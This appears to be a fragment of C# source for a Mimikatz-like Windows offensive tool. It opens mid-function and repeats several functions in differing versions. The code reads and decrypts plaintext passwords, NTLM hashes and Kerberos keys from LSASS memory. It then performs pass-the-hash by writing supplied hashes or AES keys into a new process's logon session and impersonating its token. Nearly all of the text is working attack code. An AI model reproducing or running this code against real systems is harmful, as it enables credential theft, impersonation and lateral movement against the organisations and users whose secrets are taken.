0x00000100; si.StartupInfo.wShowWindow = 0x0000; if (!Win32.Natives.CreateProcessWithLogonW(user, "", domain, LogonFlags.NetCredentialsOnly, @"C:\Windows\System32\cmd.exe", @"C:\Windows\System32\cmd.exe", CreationFlags.CREATE_SUSPENDED, 0, @"C:\Windows\System32\", ref si, out pi)) { procid = pi.dwProcessId; IntPtr hToken = IntPtr.Zero; if (OpenProcessToken(pi.hProcess, TOKEN_READ | (impersonate ? TOKEN_DUPLICATE : 0), out hToken)) { IntPtr hTokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(tokenStats)); Marshal.StructureToPtr(tokenStats, hTokenInformation, false); uint retlen = 0; if (GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, hTokenInformation, (uint)Marshal.SizeOf(tokenStats), out retlen)) { tokenStats = (TOKEN_STATISTICS)Marshal.PtrToStructure(hTokenInformation, typeof(TOKEN_STATISTICS)); data.LogonId = tokenStats.AuthenticationId; Pth_luid(hProcess, lsasrvMem, kerberos, oshelper, iv, aeskey, deskey, ref data); if (data.isReplaceOk) { NtResumeProcess(pi.hProcess); WriteToPipe(hStdInWrite, "/c whoami"); Console.WriteLine(ReadFromPipe(pi.hProcess, hStdOutRead, Encoding.GetEncoding(GetConsoleOutputCP()))); return(procid); } else { NtTerminateProcess(pi.hProcess, (uint)NTSTATUS.ProcessIsTerminating); } } else { Console.WriteLine("[x] Error GetTokenInformazion"); return(1); } } else { Console.WriteLine("[x] Error open process"); return(1); } } else { Console.WriteLine("[x] Error process create"); return(1); } } else { Console.WriteLine("[x] Bad user or LUID"); return(1); } } else { Console.WriteLine("[x] Missing at least one argument : ntlm/rc4 OR aes128 OR aes256"); return(1); } return(0); }
public static int FindCredentials(IntPtr hLsass, IntPtr msvMem, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { KIWI_SSP_CREDENTIAL_LIST_ENTRY entry; IntPtr sspCredentialListAddr; IntPtr llCurrent; string passDecrypted = ""; sspCredentialListAddr = Utility.GetListAdress(hLsass, msvMem, "msv1_0.dll", max_search_size, oshelper.CREDENTIALLISTOFFSET, oshelper.SspCredentialListSign); //Console.WriteLine("[*] Ssp SspCredentialList found at address {0:X}", sspCredentialListAddr.ToInt64()); llCurrent = sspCredentialListAddr; do { byte[] entryBytes = Utility.ReadFromLsass(ref hLsass, llCurrent, Marshal.SizeOf(typeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY))); entry = Utility.ReadStruct <KIWI_SSP_CREDENTIAL_LIST_ENTRY>(entryBytes); string username = Utility.ExtractUnicodeStringString(hLsass, entry.credentials.UserName); string domain = Utility.ExtractUnicodeStringString(hLsass, entry.credentials.Domaine); int reference = (int)entry.References; byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, entry.credentials.Password.Buffer, entry.credentials.Password.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey); passDecrypted = Encoding.Unicode.GetString(msvDecryptedPasswordBytes); /*Console.WriteLine("LUID " + entry.LogonId.LowPart); * Console.WriteLine("References " + entry.References); * Console.WriteLine("CredentialReferences " + entry.CredentialReferences); * Console.WriteLine("Uusername {1} {0}", username, entry.credentials.UserName.MaximumLength); * Console.WriteLine("Udomain {1} {0}", domain, entry.credentials.Domaine.MaximumLength); * Console.WriteLine("Upassword {1} {0}", passDecrypted, entry.credentials.Password.MaximumLength);*/ if (!string.IsNullOrEmpty(username) && username.Length > 1) { LUID luid = entry.LogonId; Credential.Ssp sspentry = new Credential.Ssp(); sspentry.Reference = reference; sspentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { sspentry.DomainName = domain; } else { sspentry.DomainName = "[NULL]"; } if (!string.IsNullOrEmpty(passDecrypted)) { sspentry.Password = passDecrypted; } else { sspentry.Password = "******"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Ssp = new List <Credential.Ssp>(); currentlogon.Ssp.Add(sspentry); logonlist.Add(currentlogon); } else { if (currentlogon.Ssp == null) { currentlogon.Ssp = new List <Credential.Ssp>(); } currentlogon.Ssp.Add(sspentry); } } llCurrent = entry.Flink; } while (llCurrent != sspCredentialListAddr); return(0); }
private static List <KerberosLogonItem> GetKerberosLogonList(ref IntPtr hLsass, IntPtr kerbUnloadLogonSessionTableAddr, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { List <KerberosLogonItem> klogonlist = new List <KerberosLogonItem>(); WalkAVLTables(ref hLsass, kerbUnloadLogonSessionTableAddr, klogonlist, oshelper, iv, aeskey, deskey, logonlist); return(klogonlist); }
/*[StructLayout(LayoutKind.Sequential)] * public struct SEKURLSA_PTH_DATA * { * public IntPtr LogonId;//LUID * public IntPtr NtlmHash;//BYTE * public IntPtr Aes256Key;//BYTE * public IntPtr Aes128Key;//BYTE * public bool isReplaceOk; * }*/ public static int CreateProcess(IntPtr hProcess, IntPtr lsasrvMem, IntPtr kerberos, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, string user, string domain, string ntlmHash = null, string aes128 = null, string aes256 = null, string rc4 = null, string binary = "cmd.exe", string arguments = "", string luid = null, bool impersonate = false) { TOKEN_STATISTICS tokenStats = new TOKEN_STATISTICS(); string lcommand = string.Empty; byte[] aes128bytes = null; byte[] aes256bytes = null; SEKURLSA_PTH_DATA data = new SEKURLSA_PTH_DATA(); byte[] ntlmHashbytes = null; string lntlmhash = string.Empty; if (!string.IsNullOrEmpty(luid)) { tokenStats.AuthenticationId.HighPart = 0; tokenStats.AuthenticationId.LowPart = uint.Parse(luid); data.LogonId = tokenStats.AuthenticationId; } else { if (string.IsNullOrEmpty(user)) { Console.WriteLine("[x] Missing required parameter user"); return(1); } if (string.IsNullOrEmpty(domain)) { Console.WriteLine("[x] Missing required parameter domain"); return(1); } if (impersonate) { lcommand = Assembly.GetExecutingAssembly().CodeBase; } else { lcommand = binary; } Console.WriteLine("[*] user\t: {0}", user); Console.WriteLine("[*] domain\t: {0}", domain); Console.WriteLine("[*] program\t: {0}", lcommand); Console.WriteLine("[*] impers.\t: {0}", impersonate); } try { if (!string.IsNullOrEmpty(aes128)) { aes128bytes = Utility.StringToByteArray(aes128); if (aes128bytes.Length != AES_128_KEY_LENGTH) { throw new System.ArgumentException(); } data.Aes128Key = aes128bytes; Console.WriteLine("[*] AES128\t: {0}", Utility.PrintHexBytes(aes128bytes)); } } catch (Exception) { Console.WriteLine("[x] Invalid aes128 key"); return(1); } try { if (!string.IsNullOrEmpty(aes256)) { aes256bytes = Utility.StringToByteArray(aes256); if (aes256bytes.Length != AES_256_KEY_LENGTH) { throw new System.ArgumentException(); } data.Aes256Key = aes256bytes; Console.WriteLine("[*] AES256\t: {0}", Utility.PrintHexBytes(aes256bytes)); } } catch (Exception) { Console.WriteLine("[x] Invalid aes128 key"); return(1); } try { if (!string.IsNullOrEmpty(rc4)) { ntlmHashbytes = Utility.StringToByteArray(rc4); } if (!string.IsNullOrEmpty(ntlmHash)) { ntlmHashbytes = Utility.StringToByteArray(ntlmHash); } if (ntlmHashbytes.Length != Msv1.LM_NTLM_HASH_LENGTH) { throw new System.ArgumentException(); } data.NtlmHash = ntlmHashbytes; Console.WriteLine("[*] NTLM\t: {0}", Utility.PrintHashBytes(ntlmHashbytes)); } catch (Exception) { Console.WriteLine("[x] Invalid Ntlm hash/rc4 key"); return(1); } if (data.NtlmHash != null || data.Aes128Key != null || data.Aes256Key != null) { if (!string.IsNullOrEmpty(luid)) { Console.WriteLine("[*] mode\t: replacing NTLM/RC4 key in a session"); Pth_luid(hProcess, lsasrvMem, kerberos, oshelper, iv, aeskey, deskey, ref data); } else if (!string.IsNullOrEmpty(user)) { PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); if (CreateProcessWithLogonW(user, "", domain, @"C:\Windows\System32\", binary, arguments, CreationFlags.CREATE_SUSPENDED, ref pi)) { Console.WriteLine("[*] | PID {0}", pi.dwProcessId); Console.WriteLine("[*] | TID {0}", pi.dwThreadId); IntPtr hToken = IntPtr.Zero; if (OpenProcessToken(pi.hProcess, TOKEN_READ | (impersonate ? TOKEN_DUPLICATE : 0), out hToken)) { IntPtr hTokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(tokenStats)); Marshal.StructureToPtr(tokenStats, hTokenInformation, false); uint retlen = 0; if (GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, hTokenInformation, (uint)Marshal.SizeOf(tokenStats), out retlen)) { tokenStats = (TOKEN_STATISTICS)Marshal.PtrToStructure(hTokenInformation, typeof(TOKEN_STATISTICS)); data.LogonId = tokenStats.AuthenticationId; Pth_luid(hProcess, lsasrvMem, kerberos, oshelper, iv, aeskey, deskey, ref data); if (data.isReplaceOk) { if (impersonate) { SECURITY_ATTRIBUTES at = new SECURITY_ATTRIBUTES(); IntPtr hNewToken = IntPtr.Zero; if (DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE, ref at, (int)SECURITY_IMPERSONATION_LEVEL.SecurityDelegation, (int)TOKEN_TYPE.TokenImpersonation, ref hNewToken)) { if (SetThreadToken(IntPtr.Zero, hNewToken)) { Console.WriteLine("[*] ** Token Impersonation **"); } else { Console.WriteLine("[x] Error SetThreadToken"); return(1); } CloseHandle(hNewToken); } else { Console.WriteLine("[x] Error DuplicateTokenEx"); return(1); } NtTerminateProcess(pi.hProcess, (uint)NTSTATUS.Success); } else { NtResumeProcess(pi.hProcess); } } else { NtTerminateProcess(pi.hProcess, (uint)NTSTATUS.ProcessIsTerminating); } } else { Console.WriteLine("[x] Error GetTokenInformazion"); return(1); } } else { Console.WriteLine("[x] Error open process"); return(1); } } else { Console.WriteLine("[x] Error process create"); return(1); } } else { Console.WriteLine("[x] Bad user or LUID"); return(1); } } else { Console.WriteLine("[x] Missing at least one argument : ntlm/rc4 OR aes128 OR aes256"); return(1); } return(0); }
private static void Pth_luid(IntPtr hProcess, IntPtr lsasrvMem, IntPtr kerberos, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref SEKURLSA_PTH_DATA data) { List <Logon> logonlist = new List <Logon>(); Module.LogonSessions.FindCredentials(hProcess, lsasrvMem, oshelper, iv, aeskey, deskey, logonlist); Console.WriteLine("[*] | LUID {0} ; {1} ({2:X}:{3:X})", data.LogonId.HighPart, data.LogonId.LowPart, data.LogonId.HighPart, data.LogonId.LowPart); Module.Msv1.WriteMsvCredentials(hProcess, oshelper, iv, aeskey, deskey, logonlist, ref data); List <KerberosLogonItem> klogonlist = Module.Kerberos.FindCredentials(hProcess, kerberos, oshelper, iv, aeskey, deskey, logonlist); foreach (KerberosLogonItem s in klogonlist) { Module.Kerberos.WriteKerberosKeys(ref hProcess, s, oshelper, iv, aeskey, deskey, ref data); } Console.WriteLine("[*]"); }
public static int CreateProcess(IntPtr hProcess, IntPtr lsasrvMem, IntPtr kerberos, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, string user, string domain, string ntlmHash = null, string aes128 = null, string aes256 = null, string rc4 = null, string binary = "cmd.exe", string arguments = "", string luid = null, bool impersonate = false) { TOKEN_STATISTICS tokenStats = new TOKEN_STATISTICS(); byte[] aes128bytes = null; byte[] aes256bytes = null; Pth.SEKURLSA_PTH_DATA data = new Pth.SEKURLSA_PTH_DATA(); byte[] ntlmHashbytes = null; int procid; if (!string.IsNullOrEmpty(luid)) { tokenStats.AuthenticationId.HighPart = 0; tokenStats.AuthenticationId.LowPart = uint.Parse(luid); data.LogonId = tokenStats.AuthenticationId; } else { if (string.IsNullOrEmpty(user)) { Console.WriteLine("[x] Missing required parameter user"); return(1); } if (string.IsNullOrEmpty(domain)) { Console.WriteLine("[x] Missing required parameter domain"); return(1); } } try { if (!string.IsNullOrEmpty(aes128)) { aes128bytes = Utility.StringToByteArray(aes128); if (aes128bytes.Length != AES_128_KEY_LENGTH) { throw new System.ArgumentException(); } data.Aes128Key = aes128bytes; Console.WriteLine("[*] AES128\t: {0}", Utility.PrintHexBytes(aes128bytes)); } } catch (Exception) { Console.WriteLine("[x] Invalid aes128 key"); return(1); } try { if (!string.IsNullOrEmpty(aes256)) { aes256bytes = Utility.StringToByteArray(aes256); if (aes256bytes.Length != AES_256_KEY_LENGTH) { throw new System.ArgumentException(); } data.Aes256Key = aes256bytes; Console.WriteLine("[*] AES256\t: {0}", Utility.PrintHexBytes(aes256bytes)); } } catch (Exception) { Console.WriteLine("[x] Invalid aes128 key"); return(1); } try { if (!string.IsNullOrEmpty(rc4)) { ntlmHashbytes = Utility.StringToByteArray(rc4); } if (!string.IsNullOrEmpty(ntlmHash)) { ntlmHashbytes = Utility.StringToByteArray(ntlmHash); } if (ntlmHashbytes.Length != Msv1.LM_NTLM_HASH_LENGTH) { throw new System.ArgumentException(); } data.NtlmHash = ntlmHashbytes; } catch (Exception) { Console.WriteLine("[x] Invalid Ntlm hash/rc4 key"); return(1); } if (data.NtlmHash != null || data.Aes128Key != null || data.Aes256Key != null) { if (!string.IsNullOrEmpty(luid)) { Pth_luid(hProcess, lsasrvMem, kerberos, oshelper, iv, aeskey, deskey, ref data); } else if (!string.IsNullOrEmpty(user)) { PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); if (CreateProcessWithLogonW(user, "", domain, @"C:\Windows\System32\", binary, arguments, CreationFlags.CREATE_SUSPENDED, ref pi)) { procid = pi.dwProcessId; IntPtr hToken = IntPtr.Zero; if (OpenProcessToken(pi.hProcess, TOKEN_READ | (impersonate ? TOKEN_DUPLICATE : 0), out hToken)) { IntPtr hTokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(tokenStats)); Marshal.StructureToPtr(tokenStats, hTokenInformation, false); uint retlen = 0; if (GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, hTokenInformation, (uint)Marshal.SizeOf(tokenStats), out retlen)) { tokenStats = (TOKEN_STATISTICS)Marshal.PtrToStructure(hTokenInformation, typeof(TOKEN_STATISTICS)); data.LogonId = tokenStats.AuthenticationId; Pth_luid(hProcess, lsasrvMem, kerberos, oshelper, iv, aeskey, deskey, ref data); if (data.isReplaceOk) { NtResumeProcess(pi.hProcess); return(procid); } else { NtTerminateProcess(pi.hProcess, (uint)NTSTATUS.ProcessIsTerminating); } } else { Console.WriteLine("[x] Error GetTokenInformazion"); return(1); } } else { Console.WriteLine("[x] Error open process"); return(1); } } else { Console.WriteLine("[x] Error process create"); return(1); } } else { Console.WriteLine("[x] Bad user or LUID"); return(1); } } else { Console.WriteLine("[x] Missing at least one argument : ntlm/rc4 OR aes128 OR aes256"); return(1); } return(0); }
private static void WalkAVLTables(ref IntPtr hLsass, IntPtr pElement, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { if (pElement == null) { return; } byte[] entryBytes = Utility.ReadFromLsass(ref hLsass, pElement, Convert.ToUInt64(Marshal.SizeOf(typeof(RTL_AVL_TABLE)))); RTL_AVL_TABLE entry = Utility.ReadStruct <RTL_AVL_TABLE>(entryBytes); if (entry.OrderedPointer != IntPtr.Zero) { byte[] krbrLogonSessionBytes = Utility.ReadFromLsass(ref hLsass, entry.OrderedPointer, Convert.ToUInt64(Marshal.SizeOf(oshelper.TSCredType))); LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSessionBytes, oshelper.TSCredLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); long pCredAddr = BitConverter.ToInt64(krbrLogonSessionBytes, oshelper.TSCredOffset); byte[] pCredBytes = Utility.ReadFromLsass(ref hLsass, new IntPtr(pCredAddr), Convert.ToUInt64(Marshal.SizeOf(typeof(KIWI_TS_PRIMARY_CREDENTIAL)))); KIWI_TS_PRIMARY_CREDENTIAL pCred = Utility.ReadStruct <KIWI_TS_PRIMARY_CREDENTIAL>(pCredBytes); UNICODE_STRING usUserName = pCred.credentials.UserName; UNICODE_STRING usDomain = pCred.credentials.Domaine; UNICODE_STRING usPassword = pCred.credentials.Password; string username = Utility.ExtractUnicodeStringString(hLsass, usUserName); string domain = Utility.ExtractUnicodeStringString(hLsass, usDomain); byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, usPassword.Buffer, (ulong)usPassword.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey); string passDecrypted = ""; UnicodeEncoding encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = Utility.PrintHexBytes(msvDecryptedPasswordBytes); } if (!string.IsNullOrEmpty(username) && username.Length > 1) { Credential.Tspkg krbrentry = new Credential.Tspkg(); if (!string.IsNullOrEmpty(username)) { krbrentry.UserName = username; } else { krbrentry.UserName = "******"; } if (!string.IsNullOrEmpty(domain)) { krbrentry.DomainName = domain; } else { krbrentry.DomainName = "[NULL]"; } // Check if password is present if (!string.IsNullOrEmpty(passDecrypted)) { krbrentry.Password = passDecrypted; } else { krbrentry.Password = "******"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Tspkg = krbrentry; logonlist.Add(currentlogon); } else { currentlogon.Tspkg = krbrentry; } } } if (entry.BalancedRoot.RightChild != IntPtr.Zero) { WalkAVLTables(ref hLsass, entry.BalancedRoot.RightChild, oshelper, iv, aeskey, deskey, logonlist); } if (entry.BalancedRoot.LeftChild != IntPtr.Zero) { WalkAVLTables(ref hLsass, entry.BalancedRoot.LeftChild, oshelper, iv, aeskey, deskey, logonlist); } }
public static void GetCredentials(ref IntPtr hLsass, byte[] entry, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { if (entry == null) { return; } LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(entry, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); UNICODE_STRING usUserName = Utility.ReadStruct <UNICODE_STRING>(Utility.GetBytes(entry, oshelper.KerberosSessionCredentialOffset + oshelper.KerberosSessionUserNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); UNICODE_STRING usDomain = Utility.ReadStruct <UNICODE_STRING>(Utility.GetBytes(entry, oshelper.KerberosSessionCredentialOffset + oshelper.KerberosSessionDomaineOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); UNICODE_STRING usPassword = Utility.ReadStruct <UNICODE_STRING>(Utility.GetBytes(entry, oshelper.KerberosSessionCredentialOffset + oshelper.KerberosSessionPasswordOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); string username = Utility.ExtractUnicodeStringString(hLsass, usUserName); string domain = Utility.ExtractUnicodeStringString(hLsass, usDomain); byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, usPassword.Buffer, usPassword.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey); string passDecrypted = ""; UnicodeEncoding encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = Utility.PrintHexBytes(msvDecryptedPasswordBytes); } if (!string.IsNullOrEmpty(username) && username.Length > 1) { Credential.Kerberos krbrentry = new Credential.Kerberos(); krbrentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { krbrentry.DomainName = domain; } else { krbrentry.DomainName = "[NULL]"; } // Check if password is present if (!string.IsNullOrEmpty(passDecrypted)) { krbrentry.Password = passDecrypted; } else { krbrentry.Password = "******"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Kerberos = krbrentry; logonlist.Add(currentlogon); } else { currentlogon.Kerberos = krbrentry; } } }
private static void Pth_luid(IntPtr hProcess, IntPtr lsasrvMem, IntPtr kerberos, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref Pth.SEKURLSA_PTH_DATA data) { List <Logon> logonlist = new List <Logon>(); LogonSessions.FindCredentials(hProcess, lsasrvMem, oshelper, iv, aeskey, deskey, logonlist); Msv1.WriteMsvCredentials(hProcess, oshelper, iv, aeskey, deskey, logonlist, ref data); List <KerberosLogonItem> klogonlist = SharpKerberos.FindCredentials(hProcess, kerberos, oshelper, iv, aeskey, deskey, logonlist); foreach (KerberosLogonItem s in klogonlist) { SharpKerberos.WriteKerberosKeys(ref hProcess, s, oshelper, iv, aeskey, deskey, ref data); } }
public static void GetKerberosKeys(ref IntPtr hLsass, byte[] krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { Type kerberossessiontype = oshelper.KerberosLogonSessionType; Type kerberoshshtype = oshelper.KerberosHashType; IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSession, oshelper.KerberosLogonSessionKeyListOffset)); if (pKeyList == IntPtr.Zero) { return; } LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSession, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))); int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem")); int structsize = Marshal.SizeOf(kerberoshshtype); int readsize = items * structsize; byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize); for (int i = 0; i < items; i++) { int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset; byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC))); KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes); string keyentry = KerberosTicketEtype((int)entry.Type); KerberosKey kkey = new KerberosKey(); kkey.Type = keyentry; UNICODE_STRING checksum = new UNICODE_STRING { Length = (ushort)entry.Size, MaximumLength = (ushort)entry.Size, Buffer = entry.Checksump }; if ((int)entry.Size > 0) { if ((int)entry.Size > Utility.FieldOffset <LSAISO_DATA_BLOB>("data")) { if ((int)entry.Size <= (Utility.FieldOffset <LSAISO_DATA_BLOB>("data") + ("KerberosKey".Length - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key { byte[] isoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB))); LSAISO_DATA_BLOB isoblob = Utility.ReadStruct <LSAISO_DATA_BLOB>(isoblobBytes); kkey.Key = GenericLsaIsoOutput(isoblob); } else { byte[] encisoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB))); ENC_LSAISO_DATA_BLOB encisoblob = Utility.ReadStruct <ENC_LSAISO_DATA_BLOB>(encisoblobBytes); kkey.Key = GenericEncLsaIsoOutput(encisoblob, (int)entry.Size); } } else { byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, checksum.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey); kkey.Key = Utility.PrintHashBytes(msvDecryptedPasswordBytes); } } else { kkey.Key = "<no size, buffer is incorrect>"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon != null) { if (currentlogon.KerberosKeys == null) { currentlogon.KerberosKeys = new List <KerberosKey>(); } currentlogon.KerberosKeys.Add(kkey); } } }
private static void WalkAVLTables(ref IntPtr hLsass, IntPtr pElement, List <KerberosLogonItem> klogonlist, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { if (pElement == IntPtr.Zero) { return; } byte[] entryBytes = Utility.ReadFromLsass(ref hLsass, pElement, Marshal.SizeOf(typeof(RTL_AVL_TABLE))); RTL_AVL_TABLE entry = Utility.ReadStruct <RTL_AVL_TABLE>(entryBytes); if (entry.OrderedPointer != IntPtr.Zero) { byte[] krbrLogonSessionBytes = Utility.ReadFromLsass(ref hLsass, entry.OrderedPointer, oshelper.LogonSessionTypeSize); KerberosLogonItem item = new KerberosLogonItem(); item.LogonSessionAddress = entry.OrderedPointer; item.LogonSessionBytes = krbrLogonSessionBytes; klogonlist.Add(item); } if (entry.BalancedRoot.RightChild != IntPtr.Zero) { WalkAVLTables(ref hLsass, entry.BalancedRoot.RightChild, klogonlist, oshelper, iv, aeskey, deskey, logonlist); } if (entry.BalancedRoot.LeftChild != IntPtr.Zero) { WalkAVLTables(ref hLsass, entry.BalancedRoot.LeftChild, klogonlist, oshelper, iv, aeskey, deskey, logonlist); } }
public static int FindCredentials(IntPtr hLsass, IntPtr lsasrvMem, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { uint logonSessionListSignOffset; //IntPtr logonSessionListAddr; int logonSessionListCount; //*DWORD // Search for LogonSessionList signature within lsasrv.dll and grab the offset logonSessionListSignOffset = (uint)Utility.OffsetFromSign("lsasrv.dll", oshelper.logonSessionListSign, max_search_size); if (logonSessionListSignOffset == 0) { Console.WriteLine("[x] Error: Could not find LogonSessionList signature\n"); return(1); } //Console.WriteLine("[*] LogonSessionList offset found as {0}", logonSessionListSignOffset); //logonSessionListAddr = Utility.GetIntPtr(hLsass, lsasrvMem, logonSessionListSignOffset, oshelper.LOGONSESSIONLISTOFFSET); logonSessionListCount = Utility.GetInt(hLsass, lsasrvMem, logonSessionListSignOffset, oshelper.LOGONSESSIONSLISTCOUNTOFFSET); //Console.WriteLine("[*] LogSessList found at address {0:X}", logonSessionListAddr.ToInt64()); //Console.WriteLine("[*] LogSessListCount {0}", logonSessionListCount); IntPtr current = IntPtr.Zero; for (int i = 0; i < logonSessionListCount; i++) { //Console.WriteLine("[!] logonSessionListCount:"+ logonSessionListCount + " -> Step : " + i); current = Utility.GetIntPtr(hLsass, lsasrvMem, logonSessionListSignOffset, oshelper.LOGONSESSIONLISTOFFSET + (8 * i)); IntPtr pList = current; do { byte[] listentryBytes = Utility.ReadFromLsass(ref hLsass, current, oshelper.ListTypeSize); GCHandle pinnedArray = GCHandle.Alloc(listentryBytes, GCHandleType.Pinned); IntPtr listentry = pinnedArray.AddrOfPinnedObject(); KIWI_BASIC_SECURITY_LOGON_SESSION_DATA logonsession = new KIWI_BASIC_SECURITY_LOGON_SESSION_DATA { LogonId = IntPtr.Add(listentry, oshelper.LocallyUniqueIdentifierOffset), LogonType = Marshal.ReadInt32(IntPtr.Add(listentry, oshelper.LogonTypeOffset)), //slistentry.LogonType, Session = Marshal.ReadInt32(IntPtr.Add(listentry, oshelper.SessionOffset)), //slistentry.Session pCredentials = new IntPtr(Marshal.ReadInt64(IntPtr.Add(listentry, oshelper.CredentialsOffset))), //slistentry.Credentials, pCredentialManager = new IntPtr(Marshal.ReadInt64(IntPtr.Add(listentry, oshelper.CredentialManagerOffset))), pSid = IntPtr.Add(listentry, oshelper.pSidOffset), LogonTime = Utility.ReadStruct <FILETIME>(IntPtr.Add(listentry, oshelper.LogonTimeOffset + 4)) }; LUID luid = Utility.ReadStruct <LUID>(logonsession.LogonId); IntPtr pUserName = IntPtr.Add(current, oshelper.UserNameListOffset); IntPtr pLogonDomain = IntPtr.Add(current, oshelper.DomaineOffset); IntPtr pLogonServer = IntPtr.Add(current, oshelper.LogonServerOffset); logonsession.UserName = Utility.ExtractUnicodeStringString(hLsass, Utility.ExtractUnicodeString(hLsass, pUserName)); logonsession.LogonDomain = Utility.ExtractUnicodeStringString(hLsass, Utility.ExtractUnicodeString(hLsass, pLogonDomain)); logonsession.LogonServer = Utility.ExtractUnicodeStringString(hLsass, Utility.ExtractUnicodeString(hLsass, pLogonServer)); ConvertSidToStringSid(Utility.ExtractSid(hLsass, logonsession.pSid), out string stringSid); Logon logon = new Logon(luid) { Session = logonsession.Session, LogonType = KUHL_M_SEKURLSA_LOGON_TYPE[logonsession.LogonType], LogonTime = logonsession.LogonTime, UserName = logonsession.UserName, LogonDomain = logonsession.LogonDomain, LogonServer = logonsession.LogonServer, SID = stringSid, pCredentials = logonsession.pCredentials, pCredentialManager = logonsession.pCredentialManager }; logonlist.Add(logon); current = new IntPtr(Marshal.ReadInt64(listentry)); pinnedArray.Free(); } while (current != pList); } return(0); }